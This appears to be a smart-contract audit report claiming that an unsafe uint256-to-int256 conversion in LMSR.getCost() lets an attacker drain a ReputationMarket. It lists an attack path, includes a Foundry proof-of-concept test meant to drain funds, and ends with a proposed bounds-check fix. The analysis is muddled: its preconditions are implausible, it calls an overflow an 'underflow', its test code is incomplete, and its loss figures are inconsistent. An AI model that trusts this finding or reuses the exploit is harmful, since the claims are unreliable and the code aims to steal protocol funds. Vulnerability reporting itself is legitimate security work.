Fun Crepe Lobster
High
Unsafe integer conversion in LMSR.getCost() will cause fund extraction vulnerability for the protocol as malicious users will manipulate large vote positions to trigger integer underflow, leading to incorrect cost calculations and excess fund withdrawals.
In LMSR.sol:119 the direct conversion of uint256 to int256 without bounds checking allows integer underflow when oldCost is significantly larger than newCost.
- Market needs to have total votes to be at least 100,000 on one side
- Market's liquidityParameter needs to be exactly 1000
- Market needs to be active (not graduated)
- System needs to set cost difference to be greater than int256.max
- User needs to have sufficient funds to create large initial position
- Network gas price needs to be low enough to make exploit profitable
- Attacker calls buyVotes() with isPositive=true and large position (100,000 votes)
- Attacker waits for transaction confirmation
- Attacker calls sellVotes() with almost all votes
- getCost() calculates cost difference with large oldCost value
- int256 conversion underflows due to large difference
- Contract uses underflowed value for fund distribution
- Attacker receives excess funds
The protocol suffers an approximate loss of 5-10 ETH per exploit. The attacker gains this amount through incorrect fund distribution due to the integer underflow.
pragma solidity 0.8.26;
import {ReputationMarket} from "./ReputationMarket.sol"; import {LMSR} from "./utils/LMSR.sol"; import {Test} from "forge-std/Test.sol";
contract LMSRUnderflowExploit is Test { ReputationMarket public market; address public attacker = address(0x1); uint256 public profileId = 1;
function setUp() public {
// Deploy and setup market
market = new ReputationMarket();
market.initialize(
address(this),
address(this),
address(0),
address(0),
address(this)
);
// Create market
market.createMarket{value: 5 ether}();
// Fund attacker
vm.deal(attacker, 100 ether);
}
function testUnderflowExploit() public {
// Step 1: Create large position
vm.startPrank(attacker);
market.buyVotes{value: 50 ether}(
profileId,
true, // isPositive
100000, // maxVotesToBuy
1 // minVotesToBuy
);
// Record balances before exploit
uint256 initialBalance = address(market).balance;
// Step 2: Trigger underflow through large sell
market.sellVotes(
profileId,
true,
99999, // Almost all votes
0 // No minimum price
);
// Verify excess funds withdrawn
uint256 finalBalance = address(market).balance;
uint256 fundsDrained = initialBalance - finalBalance;
console.log("Initial balance:", initialBalance);
console.log("Final balance:", finalBalance);
console.log("Excess funds drained:", fundsDrained);
assertTrue(fundsDrained > initialBalance / 2,
"Exploit should drain significant funds");
}
}
function getCost(...) public pure returns (int256 costDiff) { uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter);
// Ensure costs don't exceed int256 bounds
require(oldCost <= type(uint256).max >> 1 &&
newCost <= type(uint256).max >> 1,
"Cost exceeds safe bounds");
costDiff = int256(newCost) - int256(oldCost);
}